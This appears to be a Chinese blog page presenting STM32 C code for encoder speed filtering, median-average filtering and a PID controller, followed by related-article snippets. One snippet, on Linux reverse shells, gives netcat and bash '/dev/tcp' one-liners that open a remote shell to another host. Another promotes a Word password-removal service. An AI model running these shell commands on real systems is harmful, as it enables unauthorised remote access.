STM32算法
1.通过编码器对返回的错误速度进行滤波
#define MOTOR_BUFF_CIRCLE_SIZE 4
#define STATIC_ENCODER_VALUE 6int32_t LMotor_Encoder_buff[MOTOR_BUFF_CIRCLE_SIZE] = {0};
uint8_t LEindex = 0;
int32_t LMotor_Encoder_last = 0;
int32_t L_Encoder_change = 0;int32_t RMotor_Encoder_buff[MOTOR_BUFF_CIRCLE_SIZE] = {0};
uint8_t REindex = 0;
int32_t RMotor_Encoder_last = 0;
int32_t R_Encoder_change = 0;uint8_t Robot_static_flag = 0;
uint8_t Robot_dynamic_flag = 0;int32_t Encoder_buff_change_value(int32_t *buff,uint8_t size)
{ int i = 0;int32_t value = 0;for(i = 0; i < size;i++){value += buff[i]; }return value;
}u8 Speed_Filter_send(int32_t L_speed,int32_t R_speed)
{ CAN1Sedbuf[0]=L_speed;CAN1Sedbuf[1]=L_speed>>8;CAN1Sedbuf[2]=L_speed>>16;CAN1Sedbuf[3]=L_speed>>24;CAN1Sedbuf[4]=R_speed;CAN1Sedbuf[5]=R_speed>>8;CAN1Sedbuf[6]=R_speed>>16;CAN1Sedbuf[7]=R_speed>>24; CAN1_Send(0x183,8); Delay_Us(200);
}void Updata_Motor_Speed(void)
{
// if((Motor_Vel_receive[0] < 10) && (Motor_Vel_receive[0] > -10))
// {
// Motor_Vel_receive[0] = 0;
// }// if((Motor_Vel_receive[1] < 10) && (Motor_Vel_receive[1] > -10))
// {
// Motor_Vel_receive[1] = 0;
// } LEindex = LEindex % MOTOR_BUFF_CIRCLE_SIZE;LMotor_Encoder_buff[LEindex] = Motor_Encoder_receive[0] - LMotor_Encoder_last;LEindex++;LMotor_Encoder_last = Motor_Encoder_receive[0];L_Encoder_change = Encoder_buff_change_value(LMotor_Encoder_buff,MOTOR_BUFF_CIRCLE_SIZE);REindex = REindex % MOTOR_BUFF_CIRCLE_SIZE;RMotor_Encoder_buff[REindex] = Motor_Encoder_receive[1] - RMotor_Encoder_last;REindex++;RMotor_Encoder_last = Motor_Encoder_receive[1];R_Encoder_change = Encoder_buff_change_value(RMotor_Encoder_buff,MOTOR_BUFF_CIRCLE_SIZE); if( (abs(L_Encoder_change) < STATIC_ENCODER_VALUE) && (abs(R_Encoder_change) < STATIC_ENCODER_VALUE) ){//staticRobot_static_flag = 1;Robot_dynamic_flag = 0;}else{//dynamicRobot_static_flag = 0;Robot_dynamic_flag = 1;}if( (Robot_static_flag == 1) && (Robot_dynamic_flag == 0) ){Motor_Speed[0] = 0;Motor_Speed[1] = 0;Motor_Odom = 0;Motor_gyro_z = 0; Speed_Filter_send(0,0);}else{Motor_Speed[0] = rpm2vel(Motor_Vel_receive[0]);Motor_Speed[1] = -rpm2vel(Motor_Vel_receive[1]);Motor_Odom = (Motor_Speed[0] + Motor_Speed[1])/2.0f;Motor_gyro_z = ((Motor_Speed[1] - Motor_Speed[0])/WHRRL_L); Speed_Filter_send(Motor_Vel_receive[0],Motor_Vel_receive[1]);}Motor_L_Encoder = Encoder2Distance(Motor_Encoder_receive[0]);Motor_R_Encoder = -Encoder2Distance(Motor_Encoder_receive[1]);
}
2.中位值平均滤波
/***note
input:Speed_input_value;
outout:Speed_output_value;**/#define FILTER_BUFFER_SIZE 4
uint8 speed_filter[FILTER_BUFFER_SIZE] ={0};void TMSpeed_filter(void)
{static unit8 ad_save_location=0;speed_filter[ad_save_location] = Speed_input_value; /*sample value get input value*/ if (ad_save_location > (FILTER_BUFFER_SIZE-1)) { ad_save_location = 0;TM_filter(); //中位值平均滤波}else{ad_save_location++;}
}/*************************************************************************** * Function: void compositor(u8 channel)* Description: 中位值平均滤波* Parameters: None * Returns: * Author: Teana**************************************************************************/
void compositor(void)
{unit8 exchange;unit8 i,j;u16 change_value;for (j=FILTER_BUFFER_SIZE;j>1;j--){for (i=0;i<j-1;i++){exchange = 0;if (speed_filter[i]>speed_filter[i+1]){change_value = speed_filter[i];speed_filter[i] = speed_filter[i+1];speed_filter[i+1] = change_value;exchange = 1;}}if (exchange == 0)return;}
}void TM_filter(void)
{unit8 index;unit8 count;u16 sum_data = 0;compositor(); //filter up-downfor (count=1;count<FILTER_BUFFER_SIZE-1;count++){sum_data +=speed_filter[count];}Speed_output_value= sum_data / (FILTER_BUFFER_SIZE - 2);sum_data = 0;}
3.PID算法
pid.h
// protection against multiple includes
#ifndef SAXBOPHONE_PID_H
#define SAXBOPHONE_PID_H#ifdef __cplusplus
extern "C"{
#endiftypedef struct pid_calibration {/** struct PID_Calibration* * Struct storing calibrated PID constants for a PID Controller* These are used for tuning the algorithm and the values they take are* dependent upon the application - (in other words, YMMV...)*/double kp; // Proportional gaindouble ki; // Integral gaindouble kd; // Derivative gain} PID_Calibration;typedef struct pid_state {/** struct PID_State* * Struct storing the current state of a PID Controller.* This is used as the input value to the PID algorithm function, which also* returns a PID_State struct reflecting the adjustments suggested by the algorithm.* * NOTE: The output field in this struct is set by the PID algorithm function, and* is ignored in the actual calculations.*/double actual; // The actual reading as measureddouble target; // The desired readingdouble time_delta; // Time since last sample/calculation - should be set when updating state// The previously calculated error between actual and target (zero initially)double previous_error;double integral; // Sum of integral error over timedouble output; // the modified output value calculated by the algorithm, to compensate for error} PID_State;/** PID Controller Algorithm implementation* * Given a PID calibration for the P, I and D values and a PID_State for the current* state of the PID controller, calculate the new state for the PID Controller and set* the output state to compensate for any error as defined by the algorithm*/PID_State pid_iterate(PID_Calibration calibration, PID_State state);#ifdef __cplusplus
} // extern "C"
#endif// end of header
#endif
pid.c
#include "pid.h"PID_State pid_iterate(PID_Calibration calibration, PID_State state) {// calculate difference between desired and actual values (the error)double error = state.target - state.actual;// calculate and update integralstate.integral += (error * state.time_delta);// calculate derivativedouble derivative = (error - state.previous_error) / state.time_delta;// calculate output value according to algorithmstate.output = ((calibration.kp * error) + (calibration.ki * state.integral) + (calibration.kd * derivative));// update state.previous_error to the error value calculated on this iterationstate.previous_error = error;// return the state struct reflecting the calculationsreturn state;
}
test.c
#include "pid.h"// initialise blank PID_Calibration struct and blank PID_State struct
PID_Calibration calibration;
PID_State state;void setup() {// configure the calibration and state structs// dummy gain valuescalibration.kp = 1.0;calibration.ki = 1.0;calibration.kd = 1.0;// an initial blank starting statestate.actual = 0.0;state.target = 0.0;state.time_delta = 1.0; // assume an arbitrary time interval of 1.0state.previous_error = 0.0;state.integral = 0.0;// start the serial line at 9600 baud!Serial.begin(9600);
}void loop() {// read in two bytes from serial, assume first is the target value and// second is the actual value. Output calculated result on serialif (Serial.available() >= 2) {// retrieve one byte as target value, cast to double and store in state structstate.target = (double) Serial.read();// same as above for actual valuestate.actual = (double) Serial.read();// now do PID calculation and assign output back to statestate = pid_iterate(calibration, state);// print results back on serialSerial.print("Target:\t");Serial.println(state.target);Serial.print("Actual:\t");Serial.println(state.actual);Serial.print("Output:\t");Serial.println(state.output);}
}相关文章:
STM32算法
1.通过编码器对返回的错误速度进行滤波 #define MOTOR_BUFF_CIRCLE_SIZE 4 #define STATIC_ENCODER_VALUE 6int32_t LMotor_Encoder_buff[MOTOR_BUFF_CIRCLE_SIZE] {0}; uint8_t LEindex 0; int32_t LMotor_Encoder_last 0; int32_t L_Encoder_change 0;int32_t RMotor_…...
论文阅读 (106):Decoupling maxlogit for out-of-distribution detection (2023 CVPR)
文章目录 1 概述1.1 要点1.2 代码1.3 引用 2 预备知识3 方法3.1 MaxLogit3.2 改进MaxCosine和MaxNorm3.3 DML 1 概述 1.1 要点 题目:解耦最大logit分布外检测 (Decoupling maxlogit for out-of-distribution detection) 方法: 提出了一种心机基于log…...
毅速丨3D打印随形水路为何受到模具制造追捧
在模具制造行业中,随形水路镶件正逐渐成为一种革命性的技术,其提高冷却效率、优化产品设计、降低成本等优点,为模具制造带来了巨大的创新价值。 随形水路是一种根据产品形状定制的冷却水路,其镶件可以均匀地分布在模具的表面或内部…...
【LeetCode:1670. 设计前中后队列 | 数据结构设计】
🚀 算法题 🚀 🌲 算法刷题专栏 | 面试必备算法 | 面试高频算法 🍀 🌲 越难的东西,越要努力坚持,因为它具有很高的价值,算法就是这样✨ 🌲 作者简介:硕风和炜,…...
OpenCV将两张图片拼接成一张图片
OpenCV将两张图片拼接成一张图片 示例代码1示例代码2代码示例3示例代码4 可以用opencv或者numpy的拼接函数,直接将两张图拼接到一起,很简单方便,参考代码2,推荐此方式。新建图片,将两张图片的像素值填充到新图片对应位…...
4G5G智能执法记录仪在保险公司车辆保险远程定损中的应用
4G智能执法记录仪:汽车保险定损的**利器 随着科技的不断进步,越来越多的智能设备应用到日常生活中。而在车辆保险定损领域,4G智能执法记录仪的出现无疑是一大**。它不仅可以实现远程定损,还能实现可视化操作、打印保单以及数据融…...
二十七、RestClient查询文档
目录 一、MatchALL查询 二、Match查询 三、bool查询 四、排序和分页 五、高亮 一、MatchALL查询 Testvoid testMatchAll() throws IOException { // 准备Request对象SearchRequest request new SearchRequest("hotel"); // 准备DSLrequest.source().q…...
百度云Ubuntu22.04
1. download 百度云 2. sudo dpkg -i ***.deb...
解除word文档限制,快速轻松,seo优化。
文章解密、找回和去除word文档密码的安全、简单、高效方法 具体步骤如下:1. 百度搜索【密码帝官网】,2. 点击“立即开始”在用户中心上传需要解密的文件,稍等片刻即可找回密码。这是最简单的办法,无需下载软件,适用于手…...
【音频】Glitch相关
背景 因为要判断低码率下,MOS分值为啥下降,从几个方面调查。其中提及到Glitch、缓冲buffer等,慢慢积累名次概念以及经验。 “Glitch” 在音频领域通常指的是非预期的、短暂的干扰或失真。这些问题可能由于信号传输错误、设备问题、软件错误等…...
【开源】基于Vue+SpringBoot的大学生相亲网站
项目编号: S 048 ,文末获取源码。 \color{red}{项目编号:S048,文末获取源码。} 项目编号:S048,文末获取源码。 目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块三、系统展示四、核心代码4.1 查询会员4…...
5种主流API网关技术选型,yyds!
API网关是微服务项目的重要组成部分,今天来聊聊API网关的技术选型,有理论,有实战。 不 BB,上文章目录: 1 API网关基础 1.1 什么是API网关 API网关是一个服务器,是系统的唯一入口。 从面向对象设计的角度…...
请求pdf文件流并进行预览
最近做了一个需求就是预览pdf等文件,不过后端返回的是一个文件流,需要前端做一定地处理才行。 我们来看一下具体的实现方式。预览pdf的插件使用的是pdf.js,具体请看这篇文章:pdf.js插件怎么控制工具栏的显示与隐藏 1、请求pdf文件…...
【Unity程序技巧】加入缓存池存储地图资源,节省资源,避免多次CG
👨💻个人主页:元宇宙-秩沅 👨💻 hallo 欢迎 点赞👍 收藏⭐ 留言📝 加关注✅! 👨💻 本文由 秩沅 原创 👨💻 收录于专栏:Uni…...
虹科Pico汽车示波器 | 汽车免拆检修 | 2016款东风悦达起亚K5车发动机怠速抖动严重、加速无力
一、故障现象 一辆2016款东风悦达起亚K5车,搭载G4FJ发动机,累计行驶里程约为8.2万km。该车发动机怠速抖动严重、加速无力,同时发动机故障灯异常点亮,为此在其他维修厂更换了所有点火线圈和火花塞,故障依旧,…...
4.Spring源码解析-loadBeanDefinitions(XmlBeanDefinitionReader)
第一个点进去 发现是空 肯定走的第二个逻辑了 这里在这里已经给属性设置了值,所以肯定不是空能拿到。 1.ClassPathXmlApplicationContext 总结:该loadBeanDefinitions是XmlBeanDefinitionReader设置xml文件在哪。...
PHP 针对人大金仓KingbaseES自动生成数据字典
针对国产数据库 人大金仓KingbaseES 其实php 连接采用pdo方式 必须:需要去人大数据金仓官方网站 下载对应版本的pdo_kdb 扩展驱动 其连接方法与pgsql 数据库连接方法大致相同 不解释 直接上代码: <?php /*** 生成人大金仓数据字典*/ header(…...
java选择排序和冒泡排序
1.区别 选择排序和冒泡排序的区别主要在于算法逻辑、稳定性和交换成本。 算法逻辑:选择排序和冒泡排序都属于比较排序,但在具体算法逻辑上有所不同。冒泡排序是通过相邻元素之间的比较和交换,将较大(或较小)的元素逐…...
linux反弹shell
nc工具反弹shell 下面是windows主机找到nc打开1.bat输入:nc 连接的IP地址 端口 受害主机是nc -lvvp 端口 -t -e /bin/bash kali系统连接 bash命令反弹 本地 nc -l -p 端口, 受害主机 bash -i >& /dev/tcp/要连接的主机IP/端口 0>&1 注…...
Go字符串类型
一、字符串 1、字符串 Go 语言里的字符串的内部实现使用 UTF-8 编码字符串带的值为双引号(")中的内容,可以在 Go 语言的源码中直接添加非ASCII 码字符 s1 : "hello" s2 : "您好" 2、字符串转义符 Go 语言的字符…...
css实现圆环展示百分比,根据值动态展示所占比例
代码如下 <view class""><view class"circle-chart"><view v-if"!!num" class"pie-item" :style"{background: conic-gradient(var(--one-color) 0%,#E9E6F1 ${num}%),}"></view><view v-else …...
模型参数、模型存储精度、参数与显存
模型参数量衡量单位 M:百万(Million) B:十亿(Billion) 1 B 1000 M 1B 1000M 1B1000M 参数存储精度 模型参数是固定的,但是一个参数所表示多少字节不一定,需要看这个参数以什么…...
JUC笔记(上)-复习 涉及死锁 volatile synchronized CAS 原子操作
一、上下文切换 即使单核CPU也可以进行多线程执行代码,CPU会给每个线程分配CPU时间片来实现这个机制。时间片非常短,所以CPU会不断地切换线程执行,从而让我们感觉多个线程是同时执行的。时间片一般是十几毫秒(ms)。通过时间片分配算法执行。…...
ios苹果系统,js 滑动屏幕、锚定无效
现象:window.addEventListener监听touch无效,划不动屏幕,但是代码逻辑都有执行到。 scrollIntoView也无效。 原因:这是因为 iOS 的触摸事件处理机制和 touch-action: none 的设置有关。ios有太多得交互动作,从而会影响…...
NXP S32K146 T-Box 携手 SD NAND(贴片式TF卡):驱动汽车智能革新的黄金组合
在汽车智能化的汹涌浪潮中,车辆不再仅仅是传统的交通工具,而是逐步演变为高度智能的移动终端。这一转变的核心支撑,来自于车内关键技术的深度融合与协同创新。车载远程信息处理盒(T-Box)方案:NXP S32K146 与…...
如何更改默认 Crontab 编辑器 ?
在 Linux 领域中,crontab 是您可能经常遇到的一个术语。这个实用程序在类 unix 操作系统上可用,用于调度在预定义时间和间隔自动执行的任务。这对管理员和高级用户非常有益,允许他们自动执行各种系统任务。 编辑 Crontab 文件通常使用文本编…...
MacOS下Homebrew国内镜像加速指南(2025最新国内镜像加速)
macos brew国内镜像加速方法 brew install 加速formula.jws.json下载慢加速 🍺 最新版brew安装慢到怀疑人生?别怕,教你轻松起飞! 最近Homebrew更新至最新版,每次执行 brew 命令时都会自动从官方地址 https://formulae.…...
pikachu靶场通关笔记19 SQL注入02-字符型注入(GET)
目录 一、SQL注入 二、字符型SQL注入 三、字符型注入与数字型注入 四、源码分析 五、渗透实战 1、渗透准备 2、SQL注入探测 (1)输入单引号 (2)万能注入语句 3、获取回显列orderby 4、获取数据库名database 5、获取表名…...
xmind转换为markdown
文章目录 解锁思维导图新姿势:将XMind转为结构化Markdown 一、认识Xmind结构二、核心转换流程详解1.解压XMind文件(ZIP处理)2.解析JSON数据结构3:递归转换树形结构4:Markdown层级生成逻辑 三、完整代码 解锁思维导图新…...
[USACO23FEB] Bakery S
题目描述 Bessie 开了一家面包店! 在她的面包店里,Bessie 有一个烤箱,可以在 t C t_C tC 的时间内生产一块饼干或在 t M t_M tM 单位时间内生产一块松糕。 ( 1 ≤ t C , t M ≤ 10 9 ) (1 \le t_C,t_M \le 10^9) (1≤tC,tM≤109)。由于空间…...
